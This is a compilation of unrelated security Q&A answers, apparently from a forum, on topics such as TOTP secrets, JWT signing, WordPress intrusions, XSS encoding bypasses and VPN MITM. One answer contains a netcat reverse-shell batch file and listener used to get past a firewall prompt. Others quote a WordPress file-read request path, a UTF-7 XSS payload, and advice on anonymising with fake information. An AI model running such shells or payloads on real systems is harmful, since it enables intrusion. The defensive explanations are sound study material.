the key exchange will be done by using PMK(Pairwise Master Key) and EAP-TLS

Key Management for Link Layer Security Key Management for Link Layer Securit

Cisco Unified Wireless Network Architecture—Base Security Features


You absolutely need to consider the QR code a secret.

For 2FA (i.e. TOTP), the QR code has a shared secret embedded, which is basically what makes TOTP work (see https://tools.ietf.org/html/rfc4226).

OTP (both HOTP and TOTP) basically rely on HMAC, and the shared secret is used as the HMAC key.

The difference between the two OTP types is pretty much what is getting HMAC'ed - for TOTP, a timestamp, and for HOTP, a counter.


intentionally vulnerable virtualbox or vmware appliances for practicing mobile pentest?

There are vulnerable mobile apps that one can run in an emulator,
simulator, or on device. (*)
There is a testing ground for smart grid and industrial controls
    systems which includes an RF test ground component. It's called
    SamuraiSTFU, a nameplay on the original SamuraiWTF guest VM for testing vulnerable web applications. I think WTF stands for Web Testing Framework while STFU stands for Security Testing For Utilities (i.e., smart grids and control engineering systems). (**)
I agree that there should be a guest VM to practice the full mobile
stack including carrier technology such as 3G and LTE, however this
is a gap that can be filled. Start a project to do it yourself!

(*) A short list of available apps include iGoat, "Damn Vulnerable" apps of other kinds, the Exploit-Me labs from Security Compass, and most importantly the amazing work behind OWASP GoatDroid and the Sieve APK app intended to be a testing ground for the Drozer mobile attack framework. Ideally, a person interested in the security footprint of the mobile space would utilize a variety of open source apps (available by searching the Internet) or by building their own apps that expose the full functionality of the vendor SDKs.

(**) The particular components in SamuraiSTFU that cover RF technology generally focus on technologies that are not specifically 3G or LTE. Thus, I might recommend instead that you check out a variety of other resources including a book that came out last week called "Getting Started with OpenBTS" (O'Reilly Press) which mentions the Ettus Research and other GSM network hardware/software that can run production, but amateur, carrier-like networks.

Other important titles include: "Hacking and Securing iOS Applications", "Bulletproof Android: Practical Advice for Building Secure Apps", "Android Security Internals", "Mac OS X and iOS Internals: To the Apple's Core", "Android Security Cookbook" -- as well as a few titles that you may or may not be able to get early access to: "The Mobile Application Hacker's Handbook" and "iOS Application Security: The Definitive Guide for Hackers and Developers", but that will be out soon available from bookstores such as Amazon or services such as SafariBooksOnline or Books24x7. There are a few books that I left out of this list because there are quite a lot and perhaps too numerous to list right here right now.

Just as an aside, I do a lot of mobile and payment (e.g., digital wallet) testing for my full-time job, about 8 years in these specific industries. So I've been penetration testing mobile devices and platforms since the original iPhone was released. I have had a keen interest in NFC technology, especially Secure Element and TEE sub technologies involved in the mobile payment space directly (the Android Internals book mentioned above touches on these a little bit).

For a more complete set of resources covering 3G and earlier technologies in terms of security issues one would expect to hear about as exploitable from a penetration testing perspective, be sure to check out all of these:

http://www.zjulian.com/look-at-that-backend
http://events.ccc.de/congress/2014/Fahrplan/events/6531.html
http://events.ccc.de/congress/2014/Fahrplan/events/6122.html
http://events.ccc.de/congress/2011/Fahrplan/events/4663.en.html
http://events.ccc.de/congress/2010/Fahrplan/events/4090.en.html
http://events.ccc.de/congress/2010/Fahrplan/events/4151.en.html
http://events.ccc.de/congress/2009/Fahrplan/events/3555.en.html
http://events.ccc.de/congress/2009/Fahrplan/events/3654.en.html
http://events.ccc.de/congress/2008/Fahrplan/events/2997.en.html
http://events.ccc.de/congress/2002/fahrplan/event/495.en.html
http://media.ccc.de/browse/congress/2014/31c3_-6249-en-_saal_1_-201412271715-_ss7_locate_track_manipulate_-_tobias_engel.html#video
http://blog.ptsecurity.com/search/label/telecom


Is there a hard-to-spoof identifier associated with a physical hard disk

There is no benefit to using physical disk information as a salt. It's security by obscurity. The forensics specialist could just hard-code the previous drive's information into the decryption software.


As a result of attack; random folders and files in public_html. What kind of attack is this?

Nowadays, a lot of bots are scanning Internet to find security breaches to abuse of servers. As WordPress is one of the most used CMS, most of attacks attempts are done using WordPress flaws.

If you site get hacked, you have to find how it happened in a first time

Most of WordPress attacks are aiming wp-config.php through adminpages, upload, loginpages, plugins to collect informations about your configuration and how to exploit it.

One of the biggest security is to protect your wp-config.php:

<Files wp-config.php>
order allow,deny
deny from all
</files>

Some exemples of requests found in logs: (useful info linked to attacks are in logs)

wp-config viewer attack:

/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

showbiz plugin breach attack:

/wp-content/plugins/showbiz/temp/update_extract/revslider/get.php

bruteforce attack:

/wp-login.php (auth fail flood)

A lot of WordPress expert sites warn about some basic security flaws:

For example: http://codex.wordpress.org/Hardening_WordPress
Keep your WordPress up to date

Updates are made to fix stuff, but in this stuff, there is thing about security, so try to get an eye on updates (subscribe to WP newsletter, or try to add system to autoupdate it)
Once the breach is fixed, you can unlock your site from hacked site on http://google.com/webmasters/hacked (thanks @Zonk for the link)

Some more: Some Apache advice to prevent attacks:

log in a special files request on wp-config/wp-login/wp_admin files

SetEnvIfNoCase Request_URI "wp-config\.php|\/wp-admin\/|wp-login\.php" securitylog
CustomLog ${APACHE_LOG_DIR}/security.log vhost_combined env=securitylog
redirect useless trafic

RewriteCond %{HTTP_USER_AGENT} ^-?$
RewriteRule .* - [F]
limit request methods to GET, HEAD and POST

RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$
RewriteRule .* - [F]
find a human readable logviewer


Does this seem to be a proper flow?

I don't see anything wrong with it. Take care with the word 'flow' though, it has specific meaning when talking about OAuth, and you're note using it in accordance with what "OAuth flow" means.

  Does this mean it is possible to create a phony access token?

In order to sign a JWT, you need to know a secret. JWT supports signatures either via HMAC (which requires a simple, pre-shared secret) or with public key cryptography [1]. All oauth providers I've worked with - most notably Google and Microsoft - use public key cryptography (RSA) to create the digital signature.

So, the attack you describe depends on the attacker having access to the private key of of the institution that signed the JWT. Access to the public key isn't enough; you can use this to check whether the signature is valid, but you can't use the public key to re-sign an altered token.

If the JWT in question used simple hmac instead of public key cryptography to create the signature, then both the signer and the party that needed the secret in order to check the signature would be in a position to correctly sign an altered JWT. But in that case, if the access token was stolen, the thief still wouldn't have the secret. I only see possible danger when the person the access token is intended for willfully changes it and resigns it using the shared secret. I'm not sure what the security implications of such an attack would be, but I guess this is why the big OAuth providers use public key cryptography.

[1] https://jwt.io/introduction/


I had to upload nc.exe and nc2.bat to bypass "Unknown software" security warning.
nc2.bat content to initiate connection from inside and avoid firewall security prompt:

@echo on
c:\%path_to_nc%\nc -nv %LINUX_IP% 4466 -e cmd

Then set up a listener on Linux IP

nc -nlvp 4466

Execute remote command calling for nc2

This way I got command prompt from the Windows box right away.


Does CVEs reported in a Java Update applies also to previous updates?

It is not possible to determine the number of relevant CVE just based on the numbers you show. For example a CVE shown for Java 8u131 might have been just recently introduced in Java 8u130 or it might already have been lurking in the code since Java6. Thus in order to to get which CVE are relevant for your Java version you need to dig through the details of all the later CVE and look for which versions they apply. If they apply already for Java 7 then the chance is high that the bug is also in the older Java 8 version you use.

Apart from that: who cares about the exact number (and only about the number). Relevant for assessing the risk you have when using an old Java version is not the total number of CVE but which of these actually affect your application, how bad they are and how they can be mitigated.


Password protected zip opened in notepad

First, there's no standard encoding for non-ASCII letters and several characters are not printable.  At the very least you need a hex editor to view the information there.  If you want to decipher the data format consult the APPNOTE.TXT.

E.g., if I simply make a zip file of a blank file named aaa.zip and encrypt with password abcd and print the file in ISO-8859-1 encoding, I get:

$ cat new.zip
PK
        )¦D
           aaa.txtUT    khS{mhSux
                                  õÊuPfC³[é±
                                            PK
        )¦D
           ¤aaa.txtUTkhSux
                           õPKM

If I actually print in hexeditor:

$ objdump -C new.zip
00000000  50 4b 03 04 0a 00 09 00  00 00 29 07 a6 44 00 00  |PK........)..D..|
00000010  00 00 0c 00 00 00 00 00  00 00 07 00 1c 00 61 61  |..............aa|
00000020  61 2e 74 78 74 55 54 09  00 03 ad 6b 68 53 7b 6d  |a.txtUT....khS{m|
00000030  68 53 75 78 0b 00 01 04  f5 01 00 00 04 14 00 00  |hSux............|
00000040  00 ca 75 50 66 43 b3 5b  e9 ad b1 97 9d 50 4b 07  |..uPfC.[.....PK.|
00000050  08 00 00 00 00 0c 00 00  00 00 00 00 00 50 4b 01  |.............PK.|
00000060  02 1e 03 0a 00 09 00 00  00 29 07 a6 44 00 00 00  |.........)..D...|
00000070  00 0c 00 00 00 00 00 00  00 07 00 18 00 00 00 00  |................|
00000080  00 00 00 00 00 a4 81 00  00 00 00 61 61 61 2e 74  |...........aaa.t|
00000090  78 74 55 54 05 00 03 ad  6b 68 53 75 78 0b 00 01  |xtUT....khSux...|
000000a0  04 f5 01 00 00 04 14 00  00 00 50 4b 05 06 00 00  |..........PK....|
000000b0  00 00 01 00 01 00 4d 00  00 00 5d 00 00 00 00 00  |......M...].....|

The left column is the line number in hex, the middle columns contain the data with 16 bytes to a row (one byte is two hex characters), and the right column is the ASCII encoding of the corresponding ASCII character when its printable -- note many are not printable and are represented by a .).  As you can see there's a lot of characters that don't appear when you print them in ISO-8859-1.

Second, even though PKZIP encryption is quite weak it still introduces some randomness.  E.g., if I delete the zip file and reencrypt the same data into a new zip file of the same name with the same password, I get:

$ hexdump -C new.zip
00000000  50 4b 03 04 0a 00 09 00  00 00 29 07 a6 44 00 00  |PK........)..D..|
00000010  00 00 0c 00 00 00 00 00  00 00 07 00 1c 00 61 61  |..............aa|
00000020  61 2e 74 78 74 55 54 09  00 03 ad 6b 68 53 56 6f  |a.txtUT....khSVo|
00000030  68 53 75 78 0b 00 01 04  f5 01 00 00 04 14 00 00  |hSux............|
00000040  00 e4 1b 8a 36 3b 3e a9  99 1b 5b 2d 38 50 4b 07  |....6;>...[-8PK.|
00000050  08 00 00 00 00 0c 00 00  00 00 00 00 00 50 4b 01  |.............PK.|
00000060  02 1e 03 0a 00 09 00 00  00 29 07 a6 44 00 00 00  |.........)..D...|
00000070  00 0c 00 00 00 00 00 00  00 07 00 18 00 00 00 00  |................|
00000080  00 00 00 00 00 a4 81 00  00 00 00 61 61 61 2e 74  |...........aaa.t|
00000090  78 74 55 54 05 00 03 ad  6b 68 53 75 78 0b 00 01  |xtUT....khSux...|
000000a0  04 f5 01 00 00 04 14 00  00 00 50 4b 05 06 00 00  |..........PK....|
000000b0  00 00 01 00 01 00 4d 00  00 00 5d 00 00 00 00 00  |......M...].....|

Note the line with 00000020 and 00000040 are different.


Preventing evil twin WiFi attacks on embedded systems

There are two parts to this answer.

Most browsers and mobile OS's will have a CA store with dozens of CA companies and hundreds of certs with which to validate TLS against. Evil Twin attacks rely on you not caching which requests need TLS with which certs so you can MitM to pass a request with no cert instead. This list gets updated with time but is pretty hefty for a lightweight embedded system.

IoT Platforms such as Electric Imp instead use a dedicated encryption coprocessor with secure storage like the ATSHA204 or other TPM2 style chip. All requests are routed through a known gateway (such as Electric Imp's Amazon Bucket) with a known key before going out to the wider Internet. (I believe Kindle also does this with their "Experimental" Browser). If the handshake fails the connection is dropped. Depending on how this is done the server side may be able to detect evidence of malfeasance and report misbehavior to the user as you suggest. The key stored on the device may be unique per every instance of the hardware and is associated/blessed at the factory before it ships out to the consumer.

You are essentially trading an evil twin for a trusted parent that brokers all your communication.

All outbound communications go through one known endpoint against which validation is simpler. That endpoint can then take more sophisticated requests to external resources. For low bandwidth requests it's simple and suitable for a lot of current IoT applications.

The appropriateness of this model depends on your application. If you are the weather channel and you are making a device that changes color based on weather temperature there are few concerns.

If your device reads your customers email outloud as it comes in (such as found in BMW cars) there are big concerns with you touching that data. Nokia got into trouble with this a few years back.


VMware Workstation 9 Security Best Practice Guides

I suspect the issue is that hardening guides are usually aimed at data-center virtualization products, rather than personal virtualization products like Workstation.

VMWares security section, for example, only has hardening guides for vSphere. These are worth looking at, as is the SANS guide to hardening virtualization, but you will probably have to skip a lot of parts that don't apply.


Android L encryption vs. iOS 8 encryption

Currently, Android's device encryption uses dm-crypt and indeed seems to be susceptible to the kind of brute-force attack you mention, because the PIN/password is more or less directly used to derive the key that decrypts the AES key stored in the volume header.

To protect against such brute-force attacks, the password has to be of sufficiently high entropy (just like on desktop encryption systems). Unfortunately, Android does not allow setting a different password for disk decryption and screen lock. This is only a UI limitation, though: It is easily possible to use a strong password for boot-time disk decryption, but this requires root access.

However, this might all change with Android L – nothing is publicly known right now, but there are suggestions that Android will move to a scheme that uses a "trusted" hardware part, like iOS does.

By the way, the iOS hardware key derivation you describe seems to have been replaced by something else for devices using an A7 SoC (or newer). Apple seems to perform (and rate-limit) the PIN/password verification inside the Secure Enclave, which would theoretically be even more secure. From the document you referenced:

  On a device with an A7 or later A-series processor, the key operations are performed
  by the Secure Enclave, which also enforces a 5-second delay between repeated failed
  unlocking requests. This provides a governor against brute-force attacks in addition to
  safeguards enforced by iOS.

You will have to wait for the entire Android L souce code to be released to be sure (and even then, this might be something that will have to be implemented by the device manufacturers), but as of now, some Android devices already support hardware key stores for asymmetric keys; this mechanism seems to be based on ARMs TrustZone exection environment, and might theoretically be extended to device encryption keys, similar to Apple's Secure Enclave concept.


Are VPNS vulnerable to active man in the middle attacks?

In order to protect from a man-in-the-middle attack, at least one of the endpoints of the communication needs to have some prior knowledge about the other endpoint. It's usually up to the client to verify that it's talking to the right server, because servers tend to allow potentially any client to connect to them. The general term for the kind of infrastructure that provides this prior knowledge is a public-key infrastructure.

In the case of HTTPS, the prior knowledge normally comes with the intermediate step of a certificate authority. A web browser contains a predefined list of CA with their public keys, and accepts a website as genuine if it can demonstrate that its public key has been signed by the private key a CA.

In the case of SSH, the prior knowledge normally comes from having contacted the server previously: the client records the server's public key and refuses to proceed if the server's public key is not the recorded one. (This also exists for HTTPS with certificate pinning.) On the first connection, it's up to the SSH user to verify the public key.

There is no standard followed by VPN software. You need to read the documentation of your VPN software. In enterprise deployments, it is common to either deploy the server certificate to employees' computers alongside the VPN software, or require the employee to make a first connection to the VPN from inside the company network where a MITM attack is not feared. The certificate is then stored in the VPN software configuration and the VPN client will refuse to connect if the server's public key changes.

If you're deploying a VPN service for your own use or for your organization's use, you should take care of provisioning the server certificate at installation time, before you go out in the wild. If a secure network is not available, you'll need to rely on some other communication channel to send the certificate. It could be an email, if that's how you identify users, but it would be best to rely on a pre-existing infrastructure such as GPG keys (send the certificate in a signed email) — which of course only shifts the problem to how to verify the GPG key.

If you're using a cloud-based VPN service, that service should provide you a way to verify their certificate (e.g. a web page served over HTTPS) and should document how to install the certificate or how to verify it on first use. Again, there isn't a single process that all VPN software follow.


How to secure database table of users for an application?

This is a common problem in database application development, with a few valid solutions.

First, just to say it, a single SQL account for the application, with permissions to do anything the program is capable of, is bad. Doubly bad when this account's credentials are hard-coded into your app to allow the connection. The reason why is exactly the reason you posit; someone could feed the credentials into a SQL console and run delete * from User to blow away your security system.

The first possible solution is to not grant any non-admin account CRUD rights to tables, and of course never hard-code or give an admin account to client software. Instead, Read rights can be granted with SELECT permissions on views, and C_UD rights through EXECUTE permissions on stored procedures. This is an old and widely-accepted solution, and is still used even though best practices for most languages and environments now encourage other patterns.

The second solution is similar in theory but different in implementation; implement a service layer endpoint that defines the possible data operations. This is the new best practice, especially for situations involving "anonymous" usage over public networks (web services). Instead of the client connecting to the DB, the client establishes a service channel to the endpoint and from that point can only call methods the service layer allows, and may also be required to pass in authentication data such as a token in order to make any  data call other than the initial login.

The downsides to both of the above approaches are that you will likely have to make deep sweeping changes to your client-side data access to call stored procedures or service methods instead of direct table-based operations. You now also have business logic on the server side and even in the data layer, relating to ensuring users can only do what they're supposed to and are not trying to do what they shouldn't. Lastly, by necessity, you narrow the scope of valid data retrieval operations by exposing specific access methods, which is a step backward in DAL design for most modern languages like .NET and Java (which have ORMs like Hibernate and Entity Framework to provide rich querying ability without "magic strings").

The last solution requires the least implementation but can be more vulnerable; the user account hard-coded into the client has the minimum possible permissions needed to verify the credentials of a user (ideally by being given EXECUTE rights to a single stored procedure "PerformLogin"). As part of user authentication, after verifying credentials, the routine will give back the SQL credentials of a DB user that has the data-related permissions correlating to what the authenticated user account is allowed to do. The client software then re-connects to the database after authentication using the provided credentials. The advantage over other solutions is that only minor changes to your persistence layer (and a reconnect after authentication is successful) are required to implement it in your current system of a direct DB connection and table operations, instead of deeper changes to how you get data by invoking stored procs or a service.

The downsides are that the SQL users available through authentication have to represent useful cross sections of functionality, typically lending the overall structure more toward "tiers" of user permissions instead of a more modular "a la carte" scheme. Means to mitigate this (such as dynamically creating and setting permissions on a user after authentication) are typically their own can o' worms from a security standpoint. You'll will however need many "built-in" users, one for each tier, for this two-step connection process to have much real value (if Johnny User has the lowest user level, but just by authenticating he gets a near-administrator SQL user account for the rest of his session, your client is now the only layer of security, and as we have discussed it can be easily bypassed). Lastly, even with well-tailored SQL user accounts, the permissions needed can still be rather broad; UPDATE rights on a table are needed for the client to update one record, but can be used maliciously by the attacker from a console to blank out all of them. The other solutions very specifically limit the allowable data operations to both approaches.


what do you do when an ssl certificate expires and your app uses ssl pinning?

Your application could store multiple certificates in its pin list. The procedure for changing the cert would then be:

Some time before the certificate expires, release a new version of
your app with a replacement cert in the pin list, as well as the
original cert
when the old certificate expires, replace it on the
server - the app should then still work as the new cert will already
be in the pin list
Some time after the cert expires, release a new
version of your app removing the old cert

This should reduce the risk of service interruption but does not remove it completely, since some users may not install the new version of your app.

Also, it may not help you in cases where you need to change the server cert in a hurry (e.g. you think the cert may have been compromised).

I have also heard of people who have allowed their applications to update their pin list when connecting over "more trusted" networks. For example WiFi would be less trusted than 3G/4G since it is must cheaper and easier to do a man in the middle attack on WiFi.

On balance and from an operational perspective, I think certificate pinning causes more problems than it solves unless your data is particularly sensitive and confidentiality/integrity significantly outweighs availability in your list of concerns. (I realise I might get some downvotes for this view).


SETUID means that the executable can run under different permissions than the user who has executed it.

Certain applications are set like this so the users can run with low permissions but a specific application they need to run with higher permissions can be.

SETUID 0 or root means that when the program is run it is as if root ran it - which leaves you open to all the usual security risks of running something at high permission levels - it could potentially do anything to your system - so generally the number of applications that require SETUID should be minimised on a Unix box. Most security audits of Unix machines include looking for SETUID and SETGID files that are world writeable as they present a high risk.


Byte swapping encryption algorithm security flaws?

some of those combinations are more entropic than others

Please don't torture words.

Entropy is a characteristic of a randomized process: it is a quantification of how many different outcomes you could have obtained. In your case, your "key" is a permutation of 256 values, so the process is the one which produces a new permutation. The process has entropy; no output permutation has any entropy. A permutation is just a value, it is what it is; it does not "contain" entropy. Correspondingly, it makes no sense to declare that any specific permutation is more or less "entropic" than any other; values are not "entropic" at all.

  The main weakness is its simplicity, I suppose.

No, simplicity is its main strength, not its main weakness. Simplicity is good. The main weakness of your scheme is that it is weak.

What you describe is a permutation cipher, which is a sub-case of transposition ciphers. These are kind of algorithms which were popular back in the days when we could not do really better because it was before the invention of the computer. They are horribly leaky in many ways (e.g. they don't hide letter frequency, since all plaintext letters are still there). Edgar Allan Poe had famously boasted that he could break every kind of substitution or transposition cipher, and was not proven wrong before his death in 1849.


Is threat intelligence an illegal practise?

Even if off-topic: It really depends on what country are you in. Even if it illegal or not you should protect your personal data and the metadata that can be leaked over such forums in order to not be related by several services with illegal action types.

Please:
Tor + Use only fake info + Use public IP's (bars/cafes) + adapt to the situation.


How is character encodings used to bypass XSS sanitizers?

The problem

Abusing character encodings is a popular trick to get XSS to work even when there are filters in place. There are a number of different situations when it works, but they all share common prerequesits:

The attacker sends a payload in character encoding A.
The server doing the filtering or sanitazion is working in character encoding B.
The victims browser is interpreting the page as if in character encoding A.

Let's look at two example of how this can happend.

Example #1: No encoding parameter in htmlspecialchars

This is a quite common sight in PHP:

echo htmlspecialchars($_GET["query"], ENT_COMPAT | ENT_HTML401);

The problem here is the default behaviour PHP falls back to when there is no encoding specified. From the manual:

  If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

So what encoding PHP uses depends on your version and configuration. Great. So now all that stands between you and the abyss is someone making an innocent change in php.ini, or perhaps just something as simple as a server upgrade or reinstall. I too like to live dangerously... but not that dangerously.

Note that this example has nothing to do with the browser. Modern or old, it doesn't matter, because it's the server and not the browser that's the problem here.

The solution off course is to specify the correct encoding and making sure that the same is specified in the HTTP Content-Type header of the response:

echo htmlspecialchars($_GET["query"], ENT_COMPAT | ENT_HTML401, "UTF-8");

Example #2: Browser heuristics biting you

This is a problem if your server does not specify what encoding it is using in the response (or if it only does it in a meta tag that is to far down for the browser to care about it). If you do not tell the browser what encoding to use, it will have to guess. Unfortunately, all browsers aren't so good at that:

  If certain strings of user input -- say, +ADw-script+AD4-alert(1)+ADw-/script+AD4- -- are echoed back early enough in the HTML page, Internet Explorer may incorrectly guess that the page is encoded in UTF-7. Suddenly, the otherwise harmless user input becomes active HTML and will execute.

The payload in the quote is <script>alert(1)</script> encoded in UTF-7. A sanitizer working in UTF-8 would see nothing dangerous in that payload and let it through, but the browser that is tricked into working in UTF-7 would still run it.

My understanding is that it is mostly old versions of IE where this is a problem. But I am not sure, so I would be happy to see another answer where it is clarified.

EDIT: See Xavier59's answer for a situation where it works on modern browsers.

The solution

What you need to do on the server is simple in theory. You need to make sure that the following is always true:

The character encoding of the response is corectly set in the HTTP headers.
The XSS filter is working in the same encoding as specified above.

In practice, it is surprisingly easy to get that wrong.


Howto pass overly protective corporate firewall

Although there are ways to do this I would advise you not to try. Chances are good that circumventing your company's security is against policy and could get you disciplined or fired. If you are having trouble doing your job because of the new policies then talk to your management. If all it does is block facebook then deal with it, and get a smartphone or tablet to do your personal stuff.


How does Java 7 update 11 fix the security vulnerability?

The linked CNET article refers to CVE-2013-0422 "Oracle Java 7 Security Manager Bypass Vulnerability" (Oracle, US-CERT, NVD/NIST). From the Oracle link: "Affected product releases and versions: JDK and JRE 7 Update 10 and earlier".

"The vulnerability on the Java sandbox exists in both 7u10 and 7u11"
is incorrect. 7u10 is vulnerable. 7u11 is not. The update notes suggest that the bug was fixed by code changes, not by simply changing the default security level as you seem to imply in your final bullet point.
The Java browser plugins are very problematic because they allow
drive-by type attacks against vulnerable systems. Just visit a
hostile URL, and the machine is compromised - no download, no warning
dialogue. Here is a video demonstrating an attack. Perhaps there are other attack vectors, but the browser is
the most important by far.
Correct - the only way to be sure is to prevent browsers from calling
Java (by disabling the browser helpers, or uninstalling Java
entirely)
The difference between 7u10 and 7u11 is described in the Oracle
Update Release Notes. Summary:

  This release contains fixes for security vulnerabilities. For more
  information, see Oracle Security Alert for CVE-2013-0422. In addition,
  the following change has been made: Default Security Level Setting
  Changed to High


L2TP/IPsec shared secret: Can it be public?

Good question. I'm not 100% sure about the answer, and of course it also depends on many aspects specific to the configuration of your L2TP/IPsec solution.

On the face of it, it does seem very likely that if the 'shared secret' is exposed in such a way, it would allow an attacker at the very least mount an active man-in-the-middle attack against you or your University. In such a case, the attacker should be able to observe / forward / modify any traffic passing through this tunnel. Depending on the type of traffic, this might include secure information such as your password. However, it might be that your personal password is protected via another layer(s) of security.

Depending on the IKE configuration, it might also be possible to mount a passive attack, whereas traffic is (either on-the-fly, or afterwards) analyzed and data is extracted from it without actually performing a MITM attack. This is obviously a more complex form of attack, and there are some IKE methods for perfect-forward-secrecy that might help mitigate it. However, I believe those methods won't be effective in case of a MITM attack.

That said, this might be an 'acceptable' risk from the University's perspective. In such an environment (typically involving wide physical campus area, with many network points which are almost impossible to control), it is usually assumed that gaining access to the network itself is easy/trivial. Therefore, the layers of protection for resouces are applied at a higher level, e.g. on the application stack, or via simple means such as SSL. It might be a legitimate decision therefore for the University to decide that the L2TP/IPSec connection is simply an extension to the (already open) network. As such, this connection itself is assumed to be insecure, but it should/does have additional layers of security to mitigate any such exposure.

In addition, in reference to publishing this 'shared secret': it might be technically difficult to keep a shared secret between many parties a secret for a long time, so it's best to not rely on its secrecy and assume it is already exposed. Or otherwise, technical or other problems prevent your University from applying a different (e.g. RSA keys) to protect such a network connection.

So whilst you have very good reasons for concern, you really need to see the bigger picture to know whether or not there's a real risk to yourself or your University. It's also good not to rely on an encrypted connection to provide all your security. I would recommend talking to the people in your University responsible for security and voicing this concern. You might have stumbled across a weakness and they should know about it. Otherwise, they might explain better why there is no reason for you to be concerned.


How to securely send data to a javascript broswer client?

Am I correct in guessing....

yes

  Would there be a point in encrypting a password before an https post request,

No point. It's already encrypted. But you do need to think about what you are going to compare it with serverside to validate it - the stored password should encrypted using a suitable password hash/


Which OpenSSL commands update the CA database index file?

This is correct. openssl x509 is only a tool to manipulate and create certificates, but it is not a standalone CA and does not keep any status. Whereas openssl ca is described in the documentation as:

  The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms and generate CRLs it also maintains a text database of issued certificates and their status.

This text database includes the index file you refer too.


Should access control be managed from inside application?

As always: it depends. It depends, for example, on your relation with the users. Are they from your company or are they clients?
If the users are not from your own company, you will want to separate your application users from your internal access. That means that, if you want to use an AD for authentication/authorization, you will create a separate AD. Depending a bit on your design, you may also use LDAP or even database tables.
Also, if your users are external and part of a large company, you could use their AD (SAML tokens etc.) In that way, you do not need to do user management (think password resets). Especially larger enterprises will appreciate not having to do a separate user administration for your application.
It depends also on your organization, what you are comfortable with. Personally, I would never use an AD, not just because of the unneeded complexity that it introduces, but also because I have more experience with a simple LDAP. However, if you're in a more Microsoft-knowledgeable organization, you may be comfortable with AD. You will however probably need multiple ADs.
It also depends on who does the access management. If your user-base does their own user management, than a form of authorization management must be offered to them.
So there is no clear yes/no answer.
Some points though:

do not mix your own users (operators, developers) and clients on the same authorization/authentication system
if you have a corporate client, offer a way to integrate in their authentication mechanism
if your user base does their own authorization/access management, they  must have a way to do this (probably in the application), even if they cannot offer their own authentication tokens.


NOOPs are the tip-off for the snort rules. A file transfer is likely not to have NOP slides, but in this case, it might be a false positive:

WANG2..JFIF

What you may have here is a ping from one Windows machine to another. Part of the ping payload is a jpg of the word: Microsoft.

This type of traffic has triggered other people to be suspicious, as well.

But, it would be nice to have the packet trace instead of the ASCII translation of the hex.


Is this a weakness of enveloped XML signature?

To me, this seems not really as a error of the protocol but as wrongly used.

You get a part of the XML using Doc.SelectSingleNode("/message/msgenvelope") but you never checked that "/message/msgenvelope" is actually the signed part of the XML!

You have to treat the XML more like a file system with different files and not like one entity. Think like this: you have three files: a.exe, b.exe and secure.signature You check secure.signature and it tells you: File a.exe was signed by Trusted Guy and is not changed. If you then execute b.exe and think this is secure, it's not a security problem of the signature.

This is basically what you do in the example! You ask if the Signature is valid and get back that it is valid. But it also states <Reference URI="#SIGNED_DATA"> which means that the signature is valid exactly for #SIGNED_DATA and nothing else.

You then ask to get the part identified by /message/msgenvelope and treat it like it has a valid signature!

But /message/msgenvelope is clearly not the same as #SIGNED_DATA.
It might identify the same element, it might not. But you most certainly never checked the signature of /message/msgenvelope explicitly!


Why in this paper private (public) keys are used to encrypt (decrypt) messages?

As commenters have said, technically you can use either the public or private key for either capacity; the distinction helps prevent you from accidentally distributing both publicly at some point, which would be a catastrophic failure.

PGP provides good examples of reasons to do it both ways. If I want to send you a sensitive message, I will encrypt it with your public key, which means that you will decrypt it with your private key. However, if I want to prove that an email comes from me, I can "sign" the message, which involves encrypting some data with my private key; anyone who has my public key can decrypt it, which allows them to verify that the person sending the message had access to my private key (and presumably then is me).


Could the bcrypt-ruby binding be vulnerable?

The code you refer to has been corrected.  If you check out the source on Github vs the posted diff fix by Solar Designer, you can see that the sign-extension has been noted and corrected (lines 553 through 556).

Keep in mind that even though prefix $2a$ is not recommended, neither is $2x$ which simply states that the buggy implementation is being used -- albeit, now you know.  According to the Wikipedia entry, you want to ensure your hashes are prefixed with $2y$. However, this was not the original fix according to Solar Designer's email noting the problem.  That fix merely ensured that to REQUEST the buggy behaviour (for backward compatibility), you would explicitly use version prefix $2x$.  The original $2a$ was retained to produce NEW, CORRECT behaviour (see line 609).  Therefore, the code in ruby-bcrypt is correct, but you don't explicitly know it as per the recommendations in the Wikipedia article.


What are the main advantages and disadvantages of webid compared to browserid?

note: A lot of these questions on the WebID side are answered in the Foaf+ssl FAQ.

BrowserID versus WebID: is the distinction real?

BrowserId (detailed spec) is an experiment at Mozilla labs, is very new, not fully defined (exactly how the e-mail servers public key should be found is not specified for example) and not completely implemented (it requires browser support to be really distributed). The WebId Protocol is being developed in a W3C Incubator Group, building on the protocol formerly known as foaf+ssl. So it is also evolving. Both of these protocols were presented at the W3C Identity in the Browser Workshop at Mozilla's office in California this May 2011

Furthermore it is not clear that both projects are incompatible - or rather it is only a question of semantics if they are. One can distinguish two dimensions in which they differ: an authentication and a serialisation one.

identity verification: certificate signature verification (BrowserId) or subject public key verification (WebId/foaf+ssl)
certificate format: JSON (BrowserId) or X509 (foaf+ssl) formats for certificates

Currently BrowserId has been defined by the pair (certificate signature verification, JSON certificate) and WebID/foaf+ssl by the pair (user public key verification, X509 cert) as described in this e-mail

But there is no logical reason why one could not also have the other two combinations:

(certificate signature verification, X509 cert) - ie a BrowserId auth done with TLS
(user public key verifiction, JSON cert) - ie WebID auth done with JSON certificates.

Or one could also have both strategies for each certificate type. That is  one could verify the certificate signature first and then if needed also verify the WebID. This could be useful to get more information about the user (a RESTful attribute exchange) and it could also be useful to check that the key had not been revoked.

So the question that we are dealing with here is really: what are the advantages and disadvantages of the "pure" BrowserId authentication versus a "pure" WebID - known also as foaf+ssl - authentication. Please keep that in mind for the rest of this answer.

Comparing Pure BrowserId and WebId/foaf+ssl

Answer stating the way things are in July 2011.

Hows are compromised keys invalidated?

In WebID they are removed from the Profile page. A good user interface would make this a one click affair. The user would go to his social network after logging in - perhaps with a one time key sent to him via cell phone - and remove the compromised public key, which he could recognise by name, the computer he  generated it on, or some other other way that makes things easy to remember.

BrowserId currently uses a JSON certificate with a validity period, which the protocol currently desires to restrict to being very short term. The reason the |(JSON) certificate needs to be very short lived is because the relying party in the current BrowserID spec can only verify the cert by checking its signature with the public key of the e-mail provider. The longer the certificate is valid for the more likely it is that something could have gone wrong in the meanting - for example the users computer could have been stolen.

